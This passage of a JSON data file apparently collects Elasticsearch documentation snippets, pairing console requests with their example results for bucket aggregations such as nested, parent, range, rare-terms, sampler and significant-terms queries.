\"total_quantity\": {\n \"sum\": {\n \"field\": \"quantity\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":374},"digest":"c886b3e2502fee78cb98eef8d94f63a5","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"genres_and_products\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : [\n \"jazz\",\n \"Product B\"\n ],\n \"key_as_string\" : \"jazz|Product B\",\n \"doc_count\" : 1,\n \"total_quantity\" : {\n \"value\" : 10.0\n }\n },\n {\n \"key\" : [\n \"rock\",\n \"Product A\"\n ],\n \"key_as_string\" : \"rock|Product A\",\n \"doc_count\" : 2,\n \"total_quantity\" : {\n \"value\" : 9.0\n }\n },\n {\n \"key\" : [\n \"electronic\",\n \"Product B\"\n ],\n \"key_as_string\" : \"electronic|Product B\",\n \"doc_count\" : 1,\n \"total_quantity\" : {\n \"value\" : 3.0\n }\n },\n {\n \"key\" : [\n \"rock\",\n \"Product B\"\n ],\n \"key_as_string\" : \"rock|Product B\",\n \"doc_count\" : 1,\n \"total_quantity\" : {\n \"value\" : 1.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/nested-aggregation.asciidoc","line":13},"digest":"a1e5884051755b5a5f4d7549f319f4c7","lang":"console","found":["ruby"],"source":"PUT /products\n{\n \"mappings\": {\n \"properties\": {\n \"resellers\": { <1>\n \"type\": \"nested\",\n \"properties\": {\n \"reseller\": {\n \"type\": \"keyword\"\n },\n \"price\": {\n \"type\": \"double\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/nested-aggregation.asciidoc","line":38},"digest":"515e1104d136082e826d1b32af011759","lang":"console","found":["ruby"],"source":"PUT /products/_doc/0?refresh\n{\n \"name\": \"LED TV\", <1>\n \"resellers\": [\n {\n \"reseller\": \"companyA\",\n \"price\": 350\n },\n {\n \"reseller\": \"companyB\",\n \"price\": 500\n }\n ]\n}"}, {"source_location":{"file":"aggregations/bucket/nested-aggregation.asciidoc","line":62},"digest":"fc75ea748e5f49b8ab292e453ab641a6","lang":"console","found":["ruby"],"source":"GET /products/_search?size=0\n{\n \"query\": {\n \"match\": {\n \"name\": \"led tv\"\n }\n },\n \"aggs\": {\n \"resellers\": {\n \"nested\": {\n \"path\": \"resellers\"\n },\n \"aggs\": {\n \"min_price\": {\n \"min\": {\n \"field\": \"resellers.price\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/nested-aggregation.asciidoc","line":95},"digest":"6de17b54328921cba989e129cca8eb30","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"resellers\": {\n \"doc_count\": 2,\n \"min_price\": {\n \"value\": 350.0\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/nested-aggregation.asciidoc","line":114},"digest":"cf5dab4334783ca9b8942eab68fb7174","lang":"console","found":["ruby"],"source":"GET /products/_search?size=0\n{\n \"query\": {\n \"match\": {\n \"name\": \"led tv\"\n }\n },\n \"aggs\": {\n \"resellers\": {\n \"nested\": {\n \"path\": \"resellers\"\n },\n \"aggs\": {\n \"filter_reseller\": {\n \"filter\": {\n \"bool\": {\n \"filter\": [\n {\n \"term\": {\n \"resellers.reseller\": \"companyB\"\n }\n }\n ]\n }\n },\n \"aggs\": {\n \"min_price\": {\n \"min\": {\n \"field\": \"resellers.price\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/nested-aggregation.asciidoc","line":159},"digest":"b5d9ab124a0712dbaaaab7f6cbe99a00","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"resellers\": {\n \"doc_count\": 2,\n \"filter_reseller\": {\n \"doc_count\": 1,\n \"min_price\": {\n \"value\": 500.0\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/parent-aggregation.asciidoc","line":16},"digest":"1db086021e83205b6eab3b7765911cc2","lang":"console","found":["ruby"],"source":"PUT parent_example\n{\n \"mappings\": {\n \"properties\": {\n \"join\": {\n \"type\": \"join\",\n \"relations\": {\n \"question\": \"answer\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/parent-aggregation.asciidoc","line":39},"digest":"c9afa715021f2e6450e72ac73271960c","lang":"console","found":["ruby"],"source":"PUT parent_example/_doc/1\n{\n \"join\": {\n \"name\": \"question\"\n },\n \"body\": \"

I have Windows 2003 server and i bought a new Windows 2008 server...\",\n \"title\": \"Whats the best way to file transfer my site from server to a newer one?\",\n \"tags\": [\n \"windows-server-2003\",\n \"windows-server-2008\",\n \"file-transfer\"\n ]\n}"}, {"source_location":{"file":"aggregations/bucket/parent-aggregation.asciidoc","line":59},"digest":"d8310e5606c61e7a6e64a90838b1a830","lang":"console","found":["ruby"],"source":"PUT parent_example/_doc/2?routing=1\n{\n \"join\": {\n \"name\": \"answer\",\n \"parent\": \"1\"\n },\n \"owner\": {\n \"location\": \"Norfolk, United Kingdom\",\n \"display_name\": \"Sam\",\n \"id\": 48\n },\n \"body\": \"

Unfortunately you're pretty much limited to FTP...\",\n \"creation_date\": \"2009-05-04T13:45:37.030\"\n}\n\nPUT parent_example/_doc/3?routing=1&refresh\n{\n \"join\": {\n \"name\": \"answer\",\n \"parent\": \"1\"\n },\n \"owner\": {\n \"location\": \"Norfolk, United Kingdom\",\n \"display_name\": \"Troll\",\n \"id\": 49\n },\n \"body\": \"

Use Linux...\",\n \"creation_date\": \"2009-05-05T13:45:37.030\"\n}"}, {"source_location":{"file":"aggregations/bucket/parent-aggregation.asciidoc","line":95},"digest":"686bc640b877de845c46bef372a9866c","lang":"console","found":["ruby"],"source":"POST parent_example/_search?size=0\n{\n \"aggs\": {\n \"top-names\": {\n \"terms\": {\n \"field\": \"owner.display_name.keyword\",\n \"size\": 10\n },\n \"aggs\": {\n \"to-questions\": {\n \"parent\": {\n \"type\" : \"answer\" <1>\n },\n \"aggs\": {\n \"top-tags\": {\n \"terms\": {\n \"field\": \"tags.keyword\",\n \"size\": 10\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/parent-aggregation.asciidoc","line":132},"digest":"cc544f17f55e9cce00a7b680e3129e6b","lang":"console-result","found":[],"source":"{\n \"took\": 9,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 3,\n \"relation\": \"eq\"\n },\n \"max_score\": null,\n \"hits\": []\n },\n \"aggregations\": {\n \"top-names\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"Sam\",\n \"doc_count\": 1, <1>\n \"to-questions\": {\n \"doc_count\": 1, <2>\n \"top-tags\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"file-transfer\",\n \"doc_count\": 1\n },\n {\n \"key\": \"windows-server-2003\",\n \"doc_count\": 1\n },\n {\n \"key\": \"windows-server-2008\",\n \"doc_count\": 1\n }\n ]\n }\n }\n },\n {\n \"key\": \"Troll\",\n \"doc_count\": 1,\n \"to-questions\": {\n \"doc_count\": 1,\n \"top-tags\": {\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"file-transfer\",\n \"doc_count\": 1\n },\n {\n \"key\": \"windows-server-2003\",\n \"doc_count\": 1\n },\n {\n \"key\": \"windows-server-2008\",\n \"doc_count\": 1\n }\n ]\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/random-sampler-aggregation.asciidoc","line":25},"digest":"8fe128323a944765f525c76d85af7a2f","lang":"console","found":["ruby"],"source":"GET kibana_sample_data_ecommerce/_search?size=0&track_total_hits=false\n{\n \"aggregations\": {\n \"sampling\": {\n \"random_sampler\": {\n \"probability\": 0.1\n },\n \"aggs\": {\n \"price_percentiles\": {\n \"percentiles\": {\n \"field\": \"taxful_total_price\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":13},"digest":"ef8f30e85e12e9a5a8817d28977598e4","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"aggs\": {\n \"price_ranges\": {\n \"range\": {\n \"field\": \"price\",\n \"ranges\": [\n { \"to\": 100.0 },\n { \"from\": 100.0, \"to\": 200.0 },\n { \"from\": 200.0 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":36},"digest":"60d4c98b4e6ebdd9696bb66e3efc0d66","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"price_ranges\": {\n \"buckets\": [\n {\n \"key\": \"*-100.0\",\n \"to\": 100.0,\n \"doc_count\": 2\n },\n {\n \"key\": \"100.0-200.0\",\n \"from\": 100.0,\n \"to\": 200.0,\n \"doc_count\": 2\n },\n {\n \"key\": \"200.0-*\",\n \"from\": 200.0,\n \"doc_count\": 3\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":70},"digest":"88195d87a350e7fff200131f410c3e88","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"aggs\": {\n \"price_ranges\": {\n \"range\": {\n \"field\": \"price\",\n \"keyed\": true,\n \"ranges\": [\n { \"to\": 100 },\n { \"from\": 100, \"to\": 200 },\n { \"from\": 200 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":94},"digest":"b6bb60d286c070461c3b14f166a868fc","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"price_ranges\": {\n \"buckets\": {\n \"*-100.0\": {\n \"to\": 100.0,\n \"doc_count\": 2\n },\n \"100.0-200.0\": {\n \"from\": 100.0,\n \"to\": 200.0,\n \"doc_count\": 2\n },\n \"200.0-*\": {\n \"from\": 200.0,\n \"doc_count\": 3\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":123},"digest":"71de08a2d962c66f0c60677eff23f8d1","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"aggs\": {\n \"price_ranges\": {\n \"range\": {\n \"field\": \"price\",\n \"keyed\": true,\n \"ranges\": [\n { \"key\": \"cheap\", \"to\": 100 },\n { \"key\": \"average\", \"from\": 100, \"to\": 200 },\n { \"key\": \"expensive\", \"from\": 200 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":147},"digest":"28bc5d0b224ca2b79d5b6476aec55281","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"price_ranges\": {\n \"buckets\": {\n \"cheap\": {\n \"to\": 100.0,\n \"doc_count\": 2\n },\n \"average\": {\n \"from\": 100.0,\n \"to\": 200.0,\n \"doc_count\": 2\n },\n \"expensive\": {\n \"from\": 200.0,\n \"doc_count\": 3\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":180},"digest":"e12f2d2ddca387630e7855a6db952da2","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"runtime_mappings\": {\n \"price.euros\": {\n \"type\": \"double\",\n \"script\": {\n \"source\": \"\"\"\n emit(doc['price'].value * params.conversion_rate)\n \"\"\",\n \"params\": {\n \"conversion_rate\": 0.835526591\n }\n }\n }\n },\n \"aggs\": {\n \"price_ranges\": {\n \"range\": {\n \"field\": \"price.euros\",\n \"ranges\": [\n { \"to\": 100 },\n { \"from\": 100, \"to\": 200 },\n { \"from\": 200 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":250},"digest":"22ef90a7fb057728d2115f0c6f551819","lang":"console","found":["ruby"],"source":"GET sales/_search\n{\n \"aggs\": {\n \"price_ranges\": {\n \"range\": {\n \"field\": \"price\",\n \"ranges\": [\n { \"to\": 100 },\n { \"from\": 100, \"to\": 200 },\n { \"from\": 200 }\n ]\n },\n \"aggs\": {\n \"price_stats\": {\n \"stats\": { \"field\": \"price\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":278},"digest":"a1638e5183344dadbe748f97763d360a","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"price_ranges\": {\n \"buckets\": [\n {\n \"key\": \"*-100.0\",\n \"to\": 100.0,\n \"doc_count\": 2,\n \"price_stats\": {\n \"count\": 2,\n \"min\": 10.0,\n \"max\": 50.0,\n \"avg\": 30.0,\n \"sum\": 60.0\n }\n },\n {\n \"key\": \"100.0-200.0\",\n \"from\": 100.0,\n \"to\": 200.0,\n \"doc_count\": 2,\n \"price_stats\": {\n \"count\": 2,\n \"min\": 150.0,\n \"max\": 175.0,\n \"avg\": 162.5,\n \"sum\": 325.0\n }\n },\n {\n \"key\": \"200.0-*\",\n \"from\": 200.0,\n \"doc_count\": 3,\n \"price_stats\": {\n \"count\": 3,\n \"min\": 200.0,\n \"max\": 200.0,\n \"avg\": 200.0,\n \"sum\": 600.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":340},"digest":"a63e0d0504e0c9313814b7f4e2641353","lang":"console","found":["ruby"],"source":"PUT metrics_index\n{\n \"mappings\": {\n \"properties\": {\n \"network\": {\n \"properties\": {\n \"name\": {\n \"type\": \"keyword\"\n }\n }\n },\n \"latency_histo\": {\n \"type\": \"histogram\"\n }\n }\n }\n}\n\nPUT metrics_index/_doc/1?refresh\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [1, 3, 8, 12, 15],\n \"counts\" : [3, 7, 23, 12, 6]\n }\n}\n\nPUT metrics_index/_doc/2?refresh\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [1, 6, 8, 12, 14],\n \"counts\" : [8, 17, 8, 7, 6]\n }\n}\n\nGET metrics_index/_search?size=0&filter_path=aggregations\n{\n \"aggs\": {\n \"latency_ranges\": {\n \"range\": {\n \"field\": \"latency_histo\",\n \"ranges\": [\n {\"to\": 2},\n {\"from\": 2, \"to\": 3},\n {\"from\": 3, \"to\": 10},\n {\"from\": 10}\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/range-aggregation.asciidoc","line":399},"digest":"27864a8d245c7a9839bae3ba429ba945","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"latency_ranges\": {\n \"buckets\": [\n {\n \"key\": \"*-2.0\",\n \"to\": 2.0,\n \"doc_count\": 11\n },\n {\n \"key\": \"2.0-3.0\",\n \"from\": 2.0,\n \"to\": 3.0,\n \"doc_count\": 0\n },\n {\n \"key\": \"3.0-10.0\",\n \"from\": 3.0,\n \"to\": 10.0,\n \"doc_count\": 55\n },\n {\n \"key\": \"10.0-*\",\n \"from\": 10.0,\n \"doc_count\": 31\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":92},"digest":"3ffe9952786ab258bb6ab928b03148a2","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"rare_terms\": {\n \"field\": \"genre\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":109},"digest":"1f97cb9123db24e364ca20f98ea31e43","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"genres\": {\n \"buckets\": [\n {\n \"key\": \"swing\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":130},"digest":"f5013174f77868da4dc40cdd745d4ea4","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"rare_terms\": {\n \"field\": \"genre\",\n \"max_doc_count\": 2\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":148},"digest":"ba63e98b6d618cfc7f6c17ee7f478af3","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"genres\": {\n \"buckets\": [\n {\n \"key\": \"swing\",\n \"doc_count\": 1\n },\n {\n \"key\": \"jazz\",\n \"doc_count\": 2\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":280},"digest":"df103a3df9b353357e72f9180ef421a1","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"rare_terms\": {\n \"field\": \"genre\",\n \"include\": \"swi*\",\n \"exclude\": \"electro*\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":308},"digest":"b691d41f84b5b46e9051b51db22a46af","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"rare_terms\": {\n \"field\": \"genre\",\n \"include\": [ \"swing\", \"rock\" ],\n \"exclude\": [ \"jazz\" ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/rare-terms-aggregation.asciidoc","line":331},"digest":"4f67b5f5c040f611bd2560a5d38ea6f5","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"genres\": {\n \"rare_terms\": {\n \"field\": \"genre\",\n \"missing\": \"N/A\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/reverse-nested-aggregation.asciidoc","line":22},"digest":"16239fe9f0b0dcfd5ea64c08c6fed21d","lang":"console","found":["ruby"],"source":"PUT /issues\n{\n \"mappings\": {\n \"properties\": {\n \"tags\": { \"type\": \"keyword\" },\n \"comments\": { <1>\n \"type\": \"nested\",\n \"properties\": {\n \"username\": { \"type\": \"keyword\" },\n \"comment\": { \"type\": \"text\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/reverse-nested-aggregation.asciidoc","line":57},"digest":"aee26dd62fbb6d614a0798f3344c0598","lang":"console","found":["ruby"],"source":"GET /issues/_search\n{\n \"query\": {\n \"match_all\": {}\n },\n \"aggs\": {\n \"comments\": {\n \"nested\": {\n \"path\": \"comments\"\n },\n \"aggs\": {\n \"top_usernames\": {\n \"terms\": {\n \"field\": \"comments.username\"\n },\n \"aggs\": {\n \"comment_to_issue\": {\n \"reverse_nested\": {}, <1>\n \"aggs\": {\n \"top_tags_per_comment\": {\n \"terms\": {\n \"field\": \"tags\"\n }\n }\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/reverse-nested-aggregation.asciidoc","line":105},"digest":"0a6d93e9cde7a4b1968057176a824c33","lang":"console-result","found":[],"source":"{\n \"aggregations\": {\n \"comments\": {\n \"doc_count\": 1,\n \"top_usernames\": {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\": [\n {\n \"key\": \"username_1\",\n \"doc_count\": 1,\n \"comment_to_issue\": {\n \"doc_count\": 1,\n \"top_tags_per_comment\": {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\": [\n {\n \"key\": \"tag_1\",\n \"doc_count\": 1\n }\n ...\n ]\n }\n }\n }\n ...\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/sampler-aggregation.asciidoc","line":22},"digest":"e8bb5c57bdeff22be8e5f39a99dfe70e","lang":"console","found":["ruby"],"source":"POST /stackoverflow/_search?size=0\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"tags:kibana OR tags:javascript\"\n }\n },\n \"aggs\": {\n \"sample\": {\n \"sampler\": {\n \"shard_size\": 200\n },\n \"aggs\": {\n \"keywords\": {\n \"significant_terms\": {\n \"field\": \"tags\",\n \"exclude\": [ \"kibana\", \"javascript\" ]\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/sampler-aggregation.asciidoc","line":52},"digest":"9beb32c87d4e795c0c80585c1605f000","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"sample\": {\n \"doc_count\": 200, <1>\n \"keywords\": {\n \"doc_count\": 200,\n \"bg_count\": 650,\n \"buckets\": [\n {\n \"key\": \"elasticsearch\",\n \"doc_count\": 150,\n \"score\": 1.078125,\n \"bg_count\": 200\n },\n {\n \"key\": \"logstash\",\n \"doc_count\": 50,\n \"score\": 0.5625,\n \"bg_count\": 50\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/sampler-aggregation.asciidoc","line":91},"digest":"91cbeeda86b4e4e393fc79d4e3a4a781","lang":"console","found":["ruby"],"source":"POST /stackoverflow/_search?size=0\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"tags:kibana OR tags:javascript\"\n }\n },\n \"aggs\": {\n \"low_quality_keywords\": {\n \"significant_terms\": {\n \"field\": \"tags\",\n \"size\": 3,\n \"exclude\": [ \"kibana\", \"javascript\" ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/sampler-aggregation.asciidoc","line":115},"digest":"c85ebd29ebd25fe47626a0a3196fdfa9","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"low_quality_keywords\": {\n \"doc_count\": 600,\n \"bg_count\": 650,\n \"buckets\": [\n {\n \"key\": \"angular\",\n \"doc_count\": 200,\n \"score\": 0.02777,\n \"bg_count\": 200\n },\n {\n \"key\": \"jquery\",\n \"doc_count\": 200,\n \"score\": 0.02777,\n \"bg_count\": 200\n },\n {\n \"key\": \"logstash\",\n \"doc_count\": 50,\n \"score\": 0.0069,\n \"bg_count\": 50\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":70},"digest":"8731188553e14134b0a533010318f91a","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"terms\": { \"force\": [ \"British Transport Police\" ] }\n },\n \"aggregations\": {\n \"significant_crime_types\": {\n \"significant_terms\": { \"field\": \"crime_type\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":88},"digest":"838d7f706af23e5b5dd8ad791d741a19","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"significant_crime_types\": {\n \"doc_count\": 47347,\n \"bg_count\": 5064554,\n \"buckets\": [\n {\n \"key\": \"Bicycle theft\",\n \"doc_count\": 3640,\n \"score\": 0.371235374214817,\n \"bg_count\": 66799\n }\n ...\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":130},"digest":"37ae7c3e4d6d954487ec4185fe7d9ec8","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggregations\": {\n \"forces\": {\n \"terms\": { \"field\": \"force\" },\n \"aggregations\": {\n \"significant_crime_types\": {\n \"significant_terms\": { \"field\": \"crime_type\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":150},"digest":"e084e62bff969d42d542681f4b2dc5ee","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"forces\": {\n \"doc_count_error_upper_bound\": 1375,\n \"sum_other_doc_count\": 7879845,\n \"buckets\": [\n {\n \"key\": \"Metropolitan Police Service\",\n \"doc_count\": 894038,\n \"significant_crime_types\": {\n \"doc_count\": 894038,\n \"bg_count\": 5064554,\n \"buckets\": [\n {\n \"key\": \"Robbery\",\n \"doc_count\": 27617,\n \"score\": 0.0599,\n \"bg_count\": 53182\n }\n ...\n ]\n }\n },\n {\n \"key\": \"British Transport Police\",\n \"doc_count\": 47347,\n \"significant_crime_types\": {\n \"doc_count\": 47347,\n \"bg_count\": 5064554,\n \"buckets\": [\n {\n \"key\": \"Bicycle theft\",\n \"doc_count\": 3640,\n \"score\": 0.371,\n \"bg_count\": 66799\n }\n ...\n ]\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":207},"digest":"e7e95022867c72a6563137f066dd2973","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"hotspots\": {\n \"geohash_grid\": {\n \"field\": \"location\",\n \"precision\": 5\n },\n \"aggs\": {\n \"significant_crime_types\": {\n \"significant_terms\": { \"field\": \"crime_type\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":412},"digest":"377af0ea9b19c113f224d8150890b41b","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": [\n {\n \"term\": {\n \"event.outcome\": \"failure\"\n }\n },\n {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"2021-02-01\",\n \"lt\": \"2021-02-04\"\n }\n }\n },\n {\n \"term\": {\n \"service.name\": {\n \"value\": \"frontend-node\"\n }\n }\n }\n ]\n }\n },\n \"aggs\": {\n \"failure_p_value\": {\n \"significant_terms\": {\n \"field\": \"user_agent.version\",\n \"background_filter\": {\n \"bool\": {\n \"must_not\": [\n {\n \"term\": {\n \"event.outcome\": \"failure\"\n }\n }\n ],\n \"filter\": [\n {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"2021-02-01\",\n \"lt\": \"2021-02-04\"\n }\n }\n },\n {\n \"term\": {\n \"service.name\": {\n \"value\": \"frontend-node\"\n }\n }\n }\n ]\n }\n },\n \"p_value\": {\"background_is_superset\": false, \"normalize_above\": 1000}\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":560},"digest":"540aefc39303c925a4efff71ebe2f002","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"tags\": {\n \"significant_terms\": {\n \"field\": \"tag\",\n \"min_doc_count\": 10\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":602},"digest":"ea313059c18d6edbd28c3f743a5e7c1c","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"match\": {\n \"city\": \"madrid\"\n }\n },\n \"aggs\": {\n \"tags\": {\n \"significant_terms\": {\n \"field\": \"tag\",\n \"background_filter\": {\n \"term\": { \"text\": \"spain\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significantterms-aggregation.asciidoc","line":660},"digest":"a3f19f3787cb331f230cdac67ff578e8","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"aggs\": {\n \"tags\": {\n \"significant_terms\": {\n \"field\": \"tags\",\n \"execution_hint\": \"map\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significanttext-aggregation.asciidoc","line":39},"digest":"e99c45a47dc0ba7440aea8a9a99c84fa","lang":"console","found":["ruby"],"source":"GET news/_search\n{\n \"query\": {\n \"match\": { \"content\": \"Bird flu\" }\n },\n \"aggregations\": {\n \"my_sample\": {\n \"sampler\": {\n \"shard_size\": 100\n },\n \"aggregations\": {\n \"keywords\": {\n \"significant_text\": { \"field\": \"content\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significanttext-aggregation.asciidoc","line":65},"digest":"adabe4ea803f7bed66405f1783047825","lang":"console-result","found":[],"source":"{\n \"took\": 9,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\" : {\n \"my_sample\": {\n \"doc_count\": 100,\n \"keywords\" : {\n \"doc_count\": 100,\n \"buckets\" : [\n {\n \"key\": \"h5n1\",\n \"doc_count\": 4,\n \"score\": 4.71235374214817,\n \"bg_count\": 5\n }\n ...\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significanttext-aggregation.asciidoc","line":153},"digest":"d44ecc69090c0b2bc08a6cbc2e3467c5","lang":"console","found":["ruby"],"source":"GET news/_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"query\": \"+elasticsearch +pozmantier\"\n }\n },\n \"_source\": [\n \"title\",\n \"source\"\n ],\n \"highlight\": {\n \"fields\": {\n \"content\": {}\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significanttext-aggregation.asciidoc","line":221},"digest":"805f5550b90e75aa5cc82b90d8c6c242","lang":"console","found":["ruby"],"source":"GET news/_search\n{\n \"query\": {\n \"match\": {\n \"content\": \"elasticsearch\"\n }\n },\n \"aggs\": {\n \"sample\": {\n \"sampler\": {\n \"shard_size\": 100\n },\n \"aggs\": {\n \"keywords\": {\n \"significant_text\": {\n \"field\": \"content\",\n \"filter_duplicate_text\": true\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significanttext-aggregation.asciidoc","line":417},"digest":"60a9aa5dcde9023901f6ff27231a10c4","lang":"console","found":["ruby"],"source":"GET news/_search\n{\n \"query\": {\n \"match\": {\n \"content\": \"madrid\"\n }\n },\n \"aggs\": {\n \"tags\": {\n \"significant_text\": {\n \"field\": \"content\",\n \"background_filter\": {\n \"term\": { \"content\": \"spain\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/significanttext-aggregation.asciidoc","line":455},"digest":"3f20459d358611793272f63dc596e889","lang":"console","found":["ruby"],"source":"GET news/_search\n{\n \"query\": {\n \"match\": {\n \"custom_all\": \"elasticsearch\"\n }\n },\n \"aggs\": {\n \"tags\": {\n \"significant_text\": {\n \"field\": \"custom_all\",\n \"source_fields\": [ \"content\", \"title\" ]\n }\n }\n }\n}"}, 